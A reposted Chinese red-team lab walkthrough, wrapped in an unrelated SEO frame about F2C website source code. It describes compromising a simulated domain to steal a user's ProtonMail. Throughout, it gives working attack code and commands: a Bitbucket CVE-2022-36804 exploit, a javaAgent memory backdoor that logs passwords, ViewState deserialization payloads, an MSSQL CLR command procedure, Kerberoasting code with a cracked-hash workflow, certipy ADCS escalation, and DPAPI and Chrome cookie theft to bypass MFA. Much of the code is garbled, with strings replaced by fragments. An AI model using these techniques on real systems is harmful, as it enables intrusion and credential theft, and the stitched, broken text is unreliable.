F2C模式网站源码分享(f2c模式优势)

大家好,今天小编来为大家解答F2C模式网站源码分享这个问题,f2c模式优势很多人还不知道,现在让我们一起来看看吧!

任务目标

获取到dashe的protonmail邮件:

攻击路径

涉及的主要知识点

cve-2022-36804javaAgent内存马记录密码.netmachiney反序列化漏洞AV/EDRBypass代理技术mssqlCLR提权kerberostingADCS域提权dpapimfa绕过……

机器情况

bitbucket192.168.112.159[7990]web01192.168.112.101[80]sql01192.168.112.201[1433]adcs192.168.112.230[135,445,80]dc01192.168.112.100[135,445,389,88]dashe-pc192.168.112.50[445,135]

bitbucket

通过cve-2022-36804成功执行命令:

命令执行回显会被特殊字符截断且目标不出网,使用base64命令绕过限制获得完整回显:

简单进行信息搜集后,判断该机器为docker服务器且处于独立的vlan,无法与192.168.112.24/24通信。

深入利用

bitbucket为Atlassian公司生产的代码托管平台,主要技术栈为java:

很自然我们想到通过该平台获取到代码的源码或域凭据。一般来说常见的代码托管平台就gitlab和bitbucket这两个系列,两种应用的存储实现都是用本地文件+数据库的方式,本地文件是加密的。想要获取源文件需要详细分析系统的功能。

对于一线的红队工程师而言,我们可以选择一些其他的手段达到同样的效果。笔者这里使用记录明文密码的方式结合系统功能获取目标源码。

对于这种java系统,记录密码一般操作大概有三种:

前端js挂马修改login.jsp文件,如zimbra的密码记录从内存的角度解决

这里选择了第三种方式,方案1不可行是因为当前为bitbucket权限,不具备修改js文件的权限。方案2不可行是因为不存在这样的登录入口,登录接口如下:

考虑从内存角度对请求进行hook,当前漏洞原理是命令的拼接实现rce,我们需要通过执行命令的方式修改jvm虚拟机正在执行的代码,这种技术就是javaAgent。

寻找已有的轮子进行修改,选择的项目为:https://github.com/threedr3am/ZhouYu

经过一番测试发现能hook到除了访问j_atl_security_check认证包之外的请求,并不能hook到认证请求。

经过一番测试,发现原版本周瑜HOOK的几个函数对这个认证请求不生效,针对bitbucket笔者找到了登录的函数,修改被hook的函数列表:

并且修改插入的代码:

直接编译https://github.com/7BitsTeam/LearningAgentShell/tree/main/ZhouYu-changed项目,需要带着依赖一起编译,agent-1.0-SNAPSHOT.jar编译结果约8m。

如何通过GET请求执行命令且不出网的环境上传一个8m的文件是一个较大的问题。笔者采用笨办法将文件base64后切片,用多个get请求上传,如果有bitbucket项目的修改权限,直接上传到一个项目用curl等命令下载即可。这里没有对应的项目权限。

写脚本自动上传,只能get请求还是相当恶心,这里传了2000多个包才成功:

上传的时候有一些要注意的地方,+在漏洞利用截断会被当成url解码,笔者这里使用*替代了+,上传后还需要用sed替换&34;和*才能获得正常的base64:

sed&34;/var/tmp/1.txt>/var/tmp/2.txt\nsed-i&34;/var/tmp/2.txt\ncat2.txt|base64-d>/tmp/agent-1.0-SNAPSHOT.jar

上传成功后,需要将该jar包注入的bitbucket进程中,使用比较简单的注入程序:

importcom.sun.tools.attach.VirtualMachine;\nimportcom.sun.tools.attach.VirtualMachineDescriptor;\n\nimportjava.io.File;\nimportjava.util.List;\n\n\npublicclassAttach{\n\n\npublicstaticvoidmain(String[]args)throwsException{\n\nVirtualMachinevm;\nList<VirtualMachineDescriptor>vmList;\n\nStringagentFile=newFile(&34;).getCanonicalPath();\nSystem.out.println(agentFile);\ntry{\nvmList=VirtualMachine.list();\nfor(VirtualMachineDescriptorvmd:vmList){\nSystem.out.println(vmd.displayName());\nif(vmd.displayName().contains(&34;)||&34;.equals(vmd.displayName())){\nvm=VirtualMachine.attach(vmd);\n\nif(&34;.equals(vmd.displayName())&&!vm.getSystemProperties().containsKey(&34;)){\ncontinue;\n}\n\nif(null!=vm){\nvm.loadAgent(agentFile);\nSystem.out.println(&34;);\nvm.detach();\nreturn;\n}\n}\n}\n\nSystem.out.println(&34;);\n}catch(Exceptione){\ne.printStackTrace();\n}\n}\n}

注入器可以直接在bitbuck编译,执行

等待几分钟后成功获取到了账户密码:

关于bitbucket内存后门这块详细的分析:

https://mp.weixin.qq.com/s/OLNznd14NlzEzeGelRLV9g

web01

从bitbucket我们获取了一套.net网站的源码,对应内网的web01(192.168.112.101)。

拿到这种源码笔者最喜欢直接去看web.config,有惊喜收获:

密钥如果一直没修改的话是一个天然的后门。

团队的小伙伴也总结过几种利用情况:https://mp.weixin.qq.com/s/UGFu7zLDUMaCGNYlYm3WRw

这里应该是使用>=4.5这种情况,同时开启mac验证与加密:

使用ysoerial生成,这里使用的是老版本1.35:

ysoserial.exe-pViewState-gTypeConfuseDelegate-c&34;–path=&34;–apppath=&34;–decryptionalg=&34;–decryptionkey=&34;–validationalg=&34;–validationkey=&34;–isdebug

这里有个坑点,不能使用“–islegacy”参数,这个参数只用来测试apppath对不对,如果加了会报错签名校验失败。

执行后没反应,推测是有AV/EDR禁止了w3wp进程启动其他程序。

需要对ysoserial进行修改,参考:https://github.com/7BitsTeam/exch_CVE-2021-42321/blob/main/TypeConfuseDelegateGenerator.cs

将typeconfuse链原本执行命令的功能改为通过c34;Server=192.168.112.201;Database=test;UserID=sa;[emailprotected]&34;BlogEngine&34;System.Data.SqlClient&39;showadvancedoptions&39;xp_cmdshell&39;ipconfig&34;Commandisrunning,pleasewait.&34;cmd.exe&34;/c&34;Stdoutput:&34;finishedwithexitcode=&34;:&34;C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe&39;clrenabled&34;whoami&代码:

执行:

usingSystem;\nusingSystem.Data;\nusingSystem.Data.SqlClient;\nusingSystem.Data.SqlTypes;\nusingSystem.Diagnostics;\nusingSystem.Text;\nusingSystem.IO;\nusingSystem.Security.Principal;\nusingMicrosoft.SqlServer.Server;\n\npublicpartialclassStoredProcedures\n{\n[Microsoft.SqlServer.Server.SqlProcedure]\npublicstaticvoidExecCommand(stringcmd)\n{\nSqlContext.Pipe.Send(&34;);\nSqlContext.Pipe.Send(RunCommand(&34;,&34;+cmd));\n}\npublicstaticstringRunCommand(stringfilename,stringarguments)\n{\nFile.WriteAllText(@&34;,WindowsIdentity.GetCurrent().Name);\nreturn&34;;\n}\n}

读取文件:

createtablecmd(atext);\nBULKINSERTcmdFROM&39;WITH(FIELDTERMINATOR=&39;,ROWTERMINATOR=&39;);\nselect*fromcmd;\ndroptablecmd;

可行,这就转换成如何在只能执行代码的情况下进行下一步渗透的问题了。

当前账户为一个域账户且非本机管理员,但我们可以通过该账户身份去导出ldap信息,spn,gpo等域渗透信息。

通过ldap信息我们发现该账户是一个普通域账户,没有任何组。

objectClass:top\nobjectClass:person\nobjectClass:organizationalPerson\nobjectClass:user\ncn:sqlserver\ngivenName:sql\ndistinguishedName:CN=sqlserver,CN=Users,DC=test,DC=local\ninstanceType:4\nwhenCreated:03/15/202313:24:17\nwhenChanged:03/15/202313:31:30\ndisplayName:sql\nuSNCreated:13051\nuSNChanged:13076\nname:sqlserver\nobjectGUID:{8505454D-ED0C-4949-8FD6-89A680ADB50F}\nuserAccountControl:66048\nbadPwdCount:0\ncodePage:0\ncountryCode:0\nbadPasswordTime:133240643712543584\nlastLogoff:0\nlastLogon:133241392715435147\npwdLastSet:133233605833788381\nprimaryGroupID:513\nobjectSid:S-1-5-21-2687445417-3310065553-3308869922-1115\naccountExpires:9223372036854775807\nlogonCount:40\nsAMAccountName:sqlserver\nsAMAccountType:805306368\nmanagedObjects:CN=SQL01,CN=Computers,DC=test,DC=local\nobjectCategory:CN=Person,CN=Schema,CN=Configuration,DC=test,DC=local\ndSCorePropagationData:03/15/202313:24:17\ndSCorePropagationData:01/01/160100:00:00\nlastLogonTimestamp:133233606909502313\nADsPath:LDAP://dc01.test.local/CN=sqlserver,CN=Users,DC=test,DC=local\nobjectClass:top\nobjectClass:leaf\nobjectClass:secret\ncn:BCKUPKEY_d4d0df7e-b939-439e-bd36-f6874ec78dcdSecret\ndistinguishedName:CN=BCKUPKEY_d4d0df7e-b939-439e-bd36-f6874ec78dcdSecret,CN=System,DC=test,DC=local\ninstanceType:4\nwhenCreated:03/15/202313:31:31\nwhenChanged:03/15/202313:31:31\nuSNCreated:13077\nuSNChanged:13079\nshowInAdvancedViewOnly:TRUE\nname:BCKUPKEY_d4d0df7e-b939-439e-bd36-f6874ec78dcdSecret\nobjectGUID:{1D695EE2-EBCB-46B2-957A-B9B14729B3CE}\nlastSetTime:133233606916101649\npriorSetTime:133233606916101649\nobjectCategory:CN=Secret,CN=Schema,CN=Configuration,DC=test,DC=local\nisCriticalSystemObject:TRUE\ndSCorePropagationData:01/01/160100:00:00\nADsPath:LDAP://dc01.test.local/CN=BCKUPKEY_d4d0df7e-b939-439e-bd36-f6874ec78dcdSecret,CN=System,DC=test,DC=local

暂时没有可以利用的点,接着选择导出spn及票据,主要代码源自https://github.com/GhostPack/SharpRoast:

usingSystem;\nusingSystem.Data;\nusingSystem.Data.SqlClient;\nusingSystem.Data.SqlTypes;\nusingSystem.Diagnostics;\nusingSystem.Text;\nusingSystem.IO;\nusingSystem.Security.Principal;\nusingMicrosoft.SqlServer.Server;\nusingSystem.Text.RegularExpressions;\nusingSystem.DirectoryServices;\nusingSystem.DirectoryServices.AccountManagement;\n\npublicpartialclassStoredProcedures\n{\n[Microsoft.SqlServer.Server.SqlProcedure]\npublicstaticvoidExecCommand(stringcmd)\n{\nDirectoryEntrydirectoryObject=null;\nDirectorySearcheruserSearcher=null;\nSystem.Net.NetworkCredentialcred=null;\ndirectoryObject=newDirectoryEntry();\nuserSearcher=newDirectorySearcher(directoryObject);\nuserSearcher.Filter=&34;;\nSearchResultCollectionusers=userSearcher.FindAll();\n\nforeach(SearchResultuserinusers)\n{\nstringsamAccountName=user.Properties[&34;][0].ToString();\nstringdistinguishedName=user.Properties[&34;][0].ToString();\nstringspn=user.Properties[&34;][0].ToString();\nSqlContext.Pipe.Send(string.Format(&34;,samAccountName));\nSqlContext.Pipe.Send(string.Format(&34;,distinguishedName));\nSqlContext.Pipe.Send(string.Format(&34;,spn));\nstringdomain=&34;;\nstringuserName=&34;;\n\nSystem.IdentityModel.Tokens.KerberosRequestorSecurityTokenticket=newSystem.IdentityModel.Tokens.KerberosRequestorSecurityToken(spn,TokenImpersonationLevel.Impersonation,cred,Guid.NewGuid().ToString());\n\ntry\n{\nbyte[]requestBytes=ticket.GetRequest();\nstringticketHexStream=BitConverter.ToString(requestBytes).Replace(&34;,&34;);\n\n//jankyregextotrytofindthepartoftheserviceticketwewant\nMatchmatch=Regex.Match(ticketHexStream,@&34;,RegexOptions.IgnoreCase);\n\nif(match.Success)\n{\n//usually23\nbyteeType=Convert.ToByte(match.Groups[&34;].ToString(),16);\n\nintcipherTextLen=Convert.ToInt32(match.Groups[&34;].ToString(),16)-4;\nstringdataToEnd=match.Groups[&34;].ToString();\nstringcipherText=dataToEnd.Substring(0,cipherTextLen*2);\n\nif(match.Groups[&34;].ToString().Substring(cipherTextLen*2,4)!=&34;)\n{\nSqlContext.Pipe.Send(string.Format(&34;,spn));\n\nboolheader=false;\nforeach(stringlineinSplit(ticketHexStream,80))\n{\nif(!header)\n{\nSqlContext.Pipe.Send(string.Format(&34;,line));\n}\nelse\n{\nSqlContext.Pipe.Send(string.Format(&34;,line));\n}\nheader=true;\n}\n}\nelse\n{\n//outputtohashcatformat\nstringhash=String.Format(&34;,eType,userName,domain,spn,cipherText.Substring(0,32),cipherText.Substring(32));\n\nboolheader=false;\nforeach(stringlineinSplit(hash,80))\n{\nif(!header)\n{\nSqlContext.Pipe.Send(string.Format(&34;,line));\n}\nelse\n{\nSqlContext.Pipe.Send(string.Format(&34;,line));\n}\nheader=true;\n}\n}\n}\n}\ncatch(Exceptionex)\n{\nSqlContext.Pipe.Send(string.Format(&34;,spn,ex.InnerException.Message));\n}\n}\n}\npublicstaticSystem.Collections.Generic.IEnumerable<string>Split(stringtext,intpartLength)\n{\nif(text==null){thrownewArgumentNullException(&34;);}\n\nif(partLength<1){thrownewArgumentException(&39;columns&34;);}\n\ndoublepartCount=Math.Ceiling((double)text.Length/partLength);\nif(partCount<2)\n{\nyieldreturntext;\n}\n\nfor(inti=0;i<partCount;i++)\n{\nintindex=i*partLength;\nintlengthLeft=Math.Min(partLength,text.Length-index);\nstringline=text.Substring(index,lengthLeft);\nyieldreturnline;\n}\n}\n}

装载几个依赖:

CREATEASSEMBLY[system.directoryservices]\nFROM&39;\nWITHPERMISSION_SET=UNSAFE;\nGO\n\nCREATEASSEMBLY[system.identitymodel]\nFROM&39;\nWITHPERMISSION_SET=UNSAFE;\nGO

编译:

&34;/t:library/r:&34;/r:&34;roasting.cs

执行:

sp_configure&39;,1\nGO\nRECONFIGURE\nGO\nALTERDATABASEtestSETTRUSTWORTHYON;\nGO\nCREATEASSEMBLY[spn]\nAUTHORIZATION[dbo]\nFROM[0xbinofdll]\nWITHPERMISSION_SET=UNSAFE;\nGO\n\nCREATEPROCEDURE[dbo].[roast]\n@cmdNVARCHAR(MAX)\nASEXTERNALNAME[spn].[StoredProcedures].[ExecCommand]\ngo\n\nexecroast&34;\n\ndropprocedureroast\ndropassembly[spn]

整理后获得spn及票据:

Msg0,Level0,State2,ServerSQL02,Procedureroast,Line0\nSamAccountName:roast\nMsg0,Level0,State2,ServerSQL02,Procedureroast,Line0\nDistinguishedName:CN=roast,CN=Users,DC=test,DC=local\nMsg0,Level0,State2,ServerSQL02,Procedureroast,Line0\nServicePrincipalName:mssql/sql02.test.local\nMsg0,Level0,State2,ServerSQL02,Procedureroast,Line0\n\n$krb5tgs$23$*test$test.local$mssql/sql02.test.local*$5F92C1AA1A523402150EB70C529CA5FA$1FDBE06854D3B1A3423D17BA39878FEB2826F1DA2AC4859BCCD7CE880446B0E3D3D55E649EF814E47CEFEFC03EEB674D22FD65F0FCA4C05B973B665C0BA4199733450A2FF2CDF33755453DAC48D05945A9476F81221011F4D027CFE0466489FE635AD4F5852249EE3C5741C8C5DE8DAC0BB5F934D6F5331EBCAE691EEAF1C793F510D11CE5145806A154FA62C50A4E931A84C10C191C792D316C4E049603C5749E59CE5E84FC0E59ADF60D32A3012E6899E34B19F2164C9E627D4683AABC07034B6BD93716A0C973D4CFC8B22E490EDBB78D6A690E6839767DB270B64BC3B795FF2B1F7E91D99364C6A41A849A3CA6EBCDA0A70ED22133E45808703BADE5C7553396FE594C1BE9BA7BB252B7B024FE6CC6EBDA4EEE67507B64FF4C6B73BE9E04BBA368D9D335C7BD0A66AB17FB7C287E6E29DE70493B72107DFACC13286EB96A0A1C3E99ED8982CB8B4B83659178602BFAE541162286CECE0E10969D88497475B8C168936305341C9CEE26071C4F42857E985ADD43E0356DE248D584051D1F0396B5880D706ABD32F79DDBC25E03EB9A309C82C6B5C42D55B660EBBC4F22AD41C1E4E2B5361BE14DE84A3BFB9829DCC9E47AC9C1FBD9729EC1289E54BB40E84347BA001F84959F045F3494F6282C2D8BD7C7C3DCCCE584A51E74CBF7108442E3869750614488F0A855005809F4C51E3941CB3792FF446321CCCE9B7D16295A46BDA54F5C11749C5D7A6CF801A97D36BBEE1AC2AABA7C1FC115FCDC5944452F2C5D4CD83806487F2728D365BB7AAC886E2CC62FE78845B1BA2BFF308500339274FD96E61A50FD309C6B2DE7A741381BEF73FA985FE5542F337E26B45B4B89CE7254D1CDCDA37FB62723B86AB41C7D0E68CCE79A3DECDDFE9766CC08CF0A16C55EBBEA1A87E4C51887A5647B5BDF8EF0CD2255C29ED508E6BC38086B746516EC6E02BC457DA449E3B79EBF7F12DC66AF0F9BEA27BEA6CD2FFF173F26E4C3EEB27CCC0AA5483AF8519B977582D2A5403E3E06B95ED97D2E0108E0B4A0BED4FEEC2D42CE016EA3E81A38B2E01CA1CF617FE4BD375C36BFF8A7514934E07B90125D8A8A25066ED0BE045FAFCD4009C1476748B908DCB319A7436E6430FB9D27F5C3D70105045B8E9950A85C3CD4BE2C8C3E66573E04BBF98EEEF545C1D34A8F00384AE89485F17F

查看ldap信息并使用hashcat等工具破解:

john–format=krb5tgs–wordlist=passwords_kerb.txthashes.kerberoast\nhashcat-m13100–force-a0hashes.kerberoastpasswords_kerb.txt\n./tgsrepcrack.pywordlist.txt1-MSSQLSvc~sql01.medin.local~1433-MYDOMAIN.LOCAL.kirbi

得到roast用户的密码:SysAdmin34;roast&34;Sysadmin34;-caTEST-ADCS-CA-templateUser-target192.168.112.230-dc-ip192.168.112.100-debug

通过证书获取hash:

certipyauth-pfxroast.pfx-dc-ip192.168.112.100

可以,进行正式漏洞利用。创建一个机器账户并将dnsHostName属性改为dc的机器名:

certipyaccountcreate-dc-ip192.168.112.100-u&34;-p&2023&34;pwntest$&34;nVi3l2cMiXECZ0pP&34;cmd/cc:\\windows\\temp\\hack-browser-data-windows-64bit.exe>c:\\windows\\temp\\1.txt2>&1&34;test.local\\dashe&34;backdoor&34;\\\\192.168.112.50\\C$\\users\\dashe\\appdata\\Roaming\\Microsoft\\Protect\\S-1-5-21-2687445417-3310065553-3308869922-1140\\1e366a60-0518-4f7c-abdb-65eb5d35bdf5&dpapi::masterkey/in:1e366a60-0518-4f7c-abdb-65eb5d35bdf5/pvk:key.pvk

获得一个key:

新建一台虚拟机安装chrome,管理员账户的密码设置为123456,拷贝整个chrome的default到新机器。使用dpapi生成新的masterkey文件,注意需要在新装的机器上执行。

dpapi::create/guid:{1e366a60-0518-4f7c-abdb-65eb5d35bdf5}/key:273d524993beaeced20b4a406a91a706deac9bb343d730d8c8da15dab500ab51b298545607602cd71a88d50c0abe87d6e6de44668b6176ef71e731a275a89117/password:123456/protected

将masterkey文件拷贝到Administrator用户的目录下

xcopy1e366a60-0518-4f7c-abdb-65eb5d35bdf5C:\\Users\\Administrator\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1943907461-1399315114-1286489734-500/h

重启chrome可以看到cookie已经成功导入:

获得最后的flag:

总结

本环境是中等难度的一套环境,大多是常规手法进行突破。

from:https://xz.aliyun.com/t/12416

关于F2C模式网站源码分享的内容到此结束,希望对大家有所帮助。

Published by

风君子

独自遨游何稽首 揭天掀地慰生平